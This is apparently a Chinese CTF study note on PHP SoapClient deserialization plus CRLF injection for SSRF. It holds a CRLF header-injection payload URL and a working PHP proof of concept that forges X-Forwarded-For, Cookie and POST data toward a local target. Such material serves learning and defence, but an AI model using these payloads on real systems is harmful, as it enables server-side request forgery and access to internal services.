POST /WebServices/WeatherWebService.asmx HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.3603)
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://WebXml.com.cn/getSupportCity"
Host: www.webxml.com.cn
Content-Length: 348
Expect: 100-continue
Connection: Keep-Alive <?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getSupportCity xmlns="http://WebXml.com.cn/"> <byProvinceName>广东</byProvinceName> </getSupportCity> </soap:Body>
</soap:Envelope>
其中
POST请求的URL指向的是SOAP服务的端点,即服务器上处理SOAP请求的具体位置。
SOAPAction
HTTP头部用于指示客户端想要调用的SOAP操作的URI。
CRLF漏洞
又称HTTP响应拆分漏洞(HRS),CRLF是\r\n
(回车换行)的简称。
HTTP协议中,HTTP Header与HTTP Body使用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容。
所以我们可以以类似http://127.0.0.1/%0d%0aSet-Cookie:%20a=1
的方式注入Set-Cookie
头
若SOAPAction
可控,则存在CRLF漏洞,POST请求的header可控。
但Content-Type
在SOAPAction
的上面,就无法控制Content-Type
,也就不能控制POST的数据。
在header里User-Agent
在Content-Type
前面,user_agent
同样可以注入CRLF
,控制Content-Type
的值。
php.ini
去除extension=php_soap.dll
或者extension=soap
的注释。
<?php$target = 'http://127.0.0.1:999/';
$post_string = 'data=something';
$headers = array('X-Forwarded-For: 127.0.0.1',//client1, proxy1, proxy2, proxy3//'127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1'手动占位'Cookie: PHPSESSID=my_session');
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'cllsse^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "aaab"));$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;echo '<br>';
//echo urlencode($aaa);$c = unserialize($aaa);
$c->not_exists_function();//SoapClient类调用一个不存在的函数,会去调用__call()方法
?>
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
Deserialization + __call + SoapClient + CRLF = SSRF
如果发送到 Cloudflare 的请求中不含现有的 X-Forwarded-For 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值
示例:X-Forwarded-For:203.0.113.1
如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:
示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102
参考了 ctfshow web259(soapclient+crlf)
回头可以去试试探姬的反序列化靶场。
参考文章
-
CTF中常用PHP特性总结 gxngxngxn
-
反序列化 Lazzaro
-
curl命令详解 魔降风云变
-
php伪协议详解 小哥不太逍遥
-
php伪协议 lorexxar
-
浅析命令执行 quan9i
-
PHP反序列化基础完全解析 kengwang
-
带你走进PHP session反序列化漏洞 panda
-
SOAP和WSDL的一些必要知识(转) - 红无酒伤 - 博客园 (cnblogs.com)
相关文章:
php相关
php相关 借鉴了小迪安全以及各位大佬的博客,如果一切顺利,会不定期更新。 如果感觉不妥,可以私信删除。 默认有php基础。 文章目录 php相关1. php 缺陷函数1. 与2. MD53. intval()4. preg_match() 2. php特性1. php字符串解析特性2. 杂…...
uniapp上传功能用uni-file-picker实现
文章目录 html代码功能实现css样式代码 html代码 <uni-file-pickerselect"onFileSelected"cancel"onFilePickerCancel"limit"1"class"weightPage-upload-but"file-mediatype"image"></uni-file-picker><imag…...
【PPT笔记】1-3节 | 默认设置/快捷键/合并形状
文章目录 说明笔记1 默认设置1.1 OFFICE版本选择1.1.1 Office某某数字专属系列1.1.2 Office3651.1.3 产品信息怎么看 1.2 默认设置1.2.1 暗夜模式1.2.2 无限撤回1.2.3 自动保存(Office2013版本及以上)1.2.4 图片压缩1.2.5 字体嵌入1.2.6 多格式导出1.2.7…...
Qt中的高分辨率及缩放处理
写在前面 使用Qt开发界面客户端,需要考虑不同分辨率及缩放对UI界面的影响,否则会影响整体的交互使用。 问题 高分辨率/缩放设备上图片/图标模糊 若不考虑高分辨及缩放处理,在高分辨率/缩放设备上,软件中的图片、图标可能会出现…...
电机泵盖机器人打磨去毛刺,选德国进口高精度主轴
机器人打磨去毛刺该如何选择主轴呢?首先我们需要考虑的是工件的材质,电机泵盖通常使用铸铁、不锈钢、合金钢等金属材质,因此这类保持的硬度较高,一般会选择功率、扭矩较大的德国进口高精度主轴Kasite 4060 ER-S。 Kasite 4060 ER-…...
Android init.rc各阶段的定义和功能
Android开机优化系列文档-CSDN博客 Android 14 开机时间优化措施汇总-CSDN博客Android 14 开机时间优化措施-CSDN博客根据systrace报告优化系统时需要关注的指标和优化策略-CSDN博客Android系统上常见的性能优化工具-CSDN博客Android上如何使用perfetto分析systrace-CSDN博客A…...
.net dataexcel 脚本公式 函数源码
示例如: ScriptExec(""sum(1, 2, 3, 4)"") 结果等于10 using Feng.Excel.Builder; using Feng.Excel.Collections; using Feng.Excel.Interfaces; using Feng.Script.CBEexpress; using Feng.Script.Method; using System; using System.Collections.Gen…...
HarmonyOS ArkUi @CustomDialog 和promptAction.openCustomDialog踩坑以及如何选择
CustomDialog 内使用Link,如何正常使用 错误使用方式: 定义一个函数,在函数内使用弹窗,如下面代码showDialog: 这种使用方式,无法在自定义的CustomDialog内使用 Link,进行父子双向绑定&#x…...
Python面试题:详细讲解Python的多线程与多进程编程问题
在 Python 中,多线程和多进程编程是并发编程的两种主要方式,用于提高程序的执行效率和响应性。虽然它们都可以实现并发执行,但它们的工作原理和适用场景有所不同。以下是对 Python 多线程和多进程编程的详细讲解,包括它们的工作原…...
前端Canvas入门——用canvas写五子棋?
前言 五子棋的实现其实不难,因为本身就是一个很小的游戏。 至于画线什么的,其实很简单,都是lineTo(),moveTo()就行了。 难的在于——怎么让棋子落入到指定的格子上,怎么判断连子胜利。 当然啦,这部分是…...
[PaddlePaddle飞桨] PaddleDetection-通用目标检测-小模型部署
PaddleDetection的GitHub项目地址 推荐环境: PaddlePaddle > 2.3.2 OS 64位操作系统 Python 3(3.5.1/3.6/3.7/3.8/3.9/3.10),64位版本 pip/pip3(9.0.1),64位版本 CUDA > 10.2 cuDNN > 7.6pip下载指令: python -m pip i…...
Golang | Leetcode Golang题解之第239题滑动窗口最大值
题目: 题解: func maxSlidingWindow(nums []int, k int) []int {n : len(nums)prefixMax : make([]int, n)suffixMax : make([]int, n)for i, v : range nums {if i%k 0 {prefixMax[i] v} else {prefixMax[i] max(prefixMax[i-1], v)}}for i : n - 1…...
深度解析:在 React 中实现类似 Vue 的 KeepAlive 组件
在前端开发中,Vue 的 keep-alive 组件是一个非常强大的工具,它可以在组件切换时缓存组件的状态,避免重新渲染,从而提升性能。那么,如何在 React 中实现类似的功能呢?本文将带你深入探讨,并通过代…...
2024-7-20 IT新闻
目录 微软全球IT系统故障 中国量子计算产业峰会召开 其他IT相关动态 微软全球IT系统故障 后续处理: 微软和CrowdStrike均迅速响应,发布了相关声明并部署了修复程序。CrowdStrike撤销了有问题的软件更新,以帮助用户恢复系统正常运作。微软也…...
前端组件化开发:以Vue自定义底部操作栏组件为例
摘要 随着前端技术的不断演进,组件化开发逐渐成为提升前端开发效率和代码可维护性的关键手段。本文将通过介绍一款Vue自定义的底部操作栏组件,探讨前端组件化开发的重要性、实践过程及其带来的优势。 一、引言 随着Web应用的日益复杂,传统的…...
11.斑马纹列表 为没有文本的链接设置样式
斑马纹列表 创建一个背景色交替的条纹列表。 使用 :nth-child(odd) 或 :nth-child(even) 伪类选择器,根据元素在一组兄弟元素中的位置,对匹配的元素应用不同的 background-color。 💡 提示:你可以用它对其他 HTML 元素应用不同的样式,如 <div>、<tr>、<p&g…...
【算法】跳跃游戏II
难度:中等 题目: 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: 0 < j < nums[…...
学习大数据DAY20 Linux环境配置与Linux基本指令
目录 Linux 介绍 Linux 发行版 Linux 和 Windows 比较 Linux 就业方向: 下载 CentOS Linux 目录树 Linux 目录结构 作业 1 常用命令分类 文件目录类 作业 2 vim 编辑文件 作业 3 你问我第 19 天去哪了?第 19 天在汇报第一阶段的知识总结,没什…...
达梦+flowable改造
原项目springbootflowablemysql模式现需改造springbootflowable达梦, 1.在项目中引入达梦jpa包 引入高版本包已兼容flowable(6.4.2)liquibase(3.6.2) 我没有像网上做覆盖及达梦配置 <dependency> …...
【乐吾乐2D可视化组态编辑器】消息
消息 乐吾乐2D可视化组态编辑器demo:https://2d.le5le.com/ 监听消息 const fn (event, data) > {}; meta2d.on(event, fn);// 监听全部消息 meta2d.on(*, fn);// 取消监听 meta2d.off(event, fn); meta2d.off(*, fn); Copy 系统消息 event(…...
Qt创建列表,通过外部按钮控制列表的选中下移、上移以及左侧图标的显现
引言 项目中需要使用列表QListWidget,但是不能直接拿来使用。需要创建一个列表,通过向上和向下的按钮来向上或者向下移动选中列表项,当当前项背选中再去点击确认按钮,会在列表项的前面出现一个图标。 实现效果 本实例实现的效果如下: 实现思路 思路一 直接采用QLis…...
svn不能记住密码,反复弹出GNOME,自动重置svn.simple文件
1. 修改文件 打开 ~/.subversion/auth/svn.simple/xxx 更新前 K 15 svn:realmstring V 32 xxxxx //svn 地址,库的地址 K 8 username V 4 xxx //用户名 END在顶部插入下面内容, 注意,如果密码不对,则文件文法正常生效 更新后…...
对称加密与非对称加密
对称加密 对称加密指的是加密和解密使用同一个秘钥,所以叫对称加密。对称加密只有一个秘钥,称为私钥。 优点:算法公开、计算量小、加密速度快、效率高 缺点:数据传输前,发送方和接收方必须确定好秘钥,双方也必须要保存好秘钥。 常见对称加密算法: DES、3DES、AES、3…...
03 Git的基本使用
第3章:Git的基本使用 一、创建版本仓库 一)TortoiseGit 选择项目地址,右键,创建版本库 初始化git init版本库 查看是否生成.git文件(隐藏文件) 二)Git 选择项目地址,…...
【Linux】将IDEA项目部署到云服务器上,让其成为后台进程(保姆级教学,满满的干货~~)
目录 部署项目到云服务器什么是部署一、 创建MySQL数据库二、 修改idea配置项三、 数据打包四、 部署云服务器五、开放端口号六 、 验证程序 部署项目到云服务器 什么是部署 ⼯作中涉及到的"环境" 开发环境:开发⼈员写代码⽤的机器.测试环境:测试⼈员测试程序使⽤…...
IDEA的断点调试(Debug)
《IDEA破解、配置、使用技巧与实战教程》系列文章目录 第一章 IDEA破解与HelloWorld的实战编写 第二章 IDEA的详细设置 第三章 IDEA的工程与模块管理 第四章 IDEA的常见代码模板的使用 第五章 IDEA中常用的快捷键 第六章 IDEA的断点调试(Debug) 第七章 …...
部署django
部署Django项目到Apache HTTP服务器上,通常会使用mod_wsgi模块,这是Apache的一个扩展,专为Python web应用设计,可以很好地与Django集成。以下是部署Django项目的简要步骤: 准备工作 确保环境准备就绪: 确保你的系统中已安装了Python、Django以及Apache HTTP Server。安装…...
Android Framework学习笔记(4)----Zygote进程
Zygote的启动流程 Init进程启动后,会加载并执行init.rc文件。该.rc文件中,就包含启动Zygote进程的Action。详见“RC文件解析”章节。 根据Zygote对应的RC文件,可知Zygote进程是由/system/bin/app_process程序来创建的。 app_process大致处…...
澎湃算力 玩转AI 华为昇腾AI开发板——香橙派OriengePi AiPro边缘计算案例评测
澎湃算力 玩转AI 华为昇腾AI开发板 香橙派OriengePi AiPro 边缘计算案例评测 人工智能(AI)技术正以前所未有的速度改变着我们的生活、工作乃至整个社会的面貌。作为推动这一变革的关键力量,边缘计算与AI技术的深度融合正成为行业发展的新趋势…...
<数据集>铁轨缺陷检测数据集<目标检测>
数据集格式:VOCYOLO格式 图片数量:844张 标注数量(xml文件个数):844 标注数量(txt文件个数):844 标注类别数:3 标注类别名称:[Spalling, Squat, Wheel Burn] 序号类别名称图片数框数1Spalling3315522…...
wordpress文章采集插件/广告投放网站平台
在使用word2vec对文本进行分析时能产生一个bin文件,可以用ANSJ调用该文件得到相近词,等同于替换 ./distance vectors.bin命令。 代码如下: import java.io.BufferedInputStream; import java.io.DataInputStream; import java.io.FileInputSt…...
单机网页游戏网站/可以免费发帖的网站
数据统计,截至3月21日,电力板块已有16家上市公司发布了2016年年报,业绩两极分化趋势明显。其中,梅雁吉祥、银星能源等水电、新能源发电公司业绩翻倍,深圳能源、大唐发电等火电公司净利润下滑明显。 水电新能源发电表现…...
静态网站怎么做滚动文字/网络推广营销软件
众所周知,苹果已经为 iPhone、AIrPods、Apple Watch 和 Mac 等设备上引入了电池健康管理功能,旨在通过降低电池化学老化的速度来延长电池的使用寿命。然而,在 M1 Mac 上,关闭电池运行状况管理的选项已消失,也就是说用户…...
用html5做课程教学网站/网站排名前十
题目背景 原 维护队列 参见P1903 题目描述 某一天\(WJMZBMR\)在打\(osu~~~\)但是他太弱逼了,有些地方完全靠运气:( 我们来简化一下这个游戏的规则 有\(n\)次点击要做,成功了就是\(o\),失败了就是\(x\),分数是按\(combo\)计算的&am…...
万能网页视频下载/关键词优化的发展趋势
招我过来的时候说的数通工程师,这是现在让我跟着学习华为的PTN,说实话我都知道是个什么东西,又不让我摸设备,整天在个U2000上点来点去的- -! 问了公司里的同事,PTN说是数通也是数通说是传输也是传输&#x…...
wordpress教程 下载地址/希爱力吃一颗能干多久
第一种:在本地已创建文件目录,连接方式1,用git bash 进入到文件目录下$ git init #通过命令把目录变成Git可以管理的仓库(初始化一个git仓库)$ ls -a2, 将工作区文件-----------》添加…...